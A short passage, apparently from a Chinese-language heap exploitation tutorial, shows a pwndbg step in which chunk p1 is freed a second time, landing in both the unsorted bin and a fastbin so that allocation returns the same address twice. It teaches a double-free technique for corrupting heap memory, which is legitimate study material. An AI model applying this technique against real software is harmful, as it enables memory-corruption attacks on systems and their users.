由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1:
pwndbg> n
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x602010 0x602010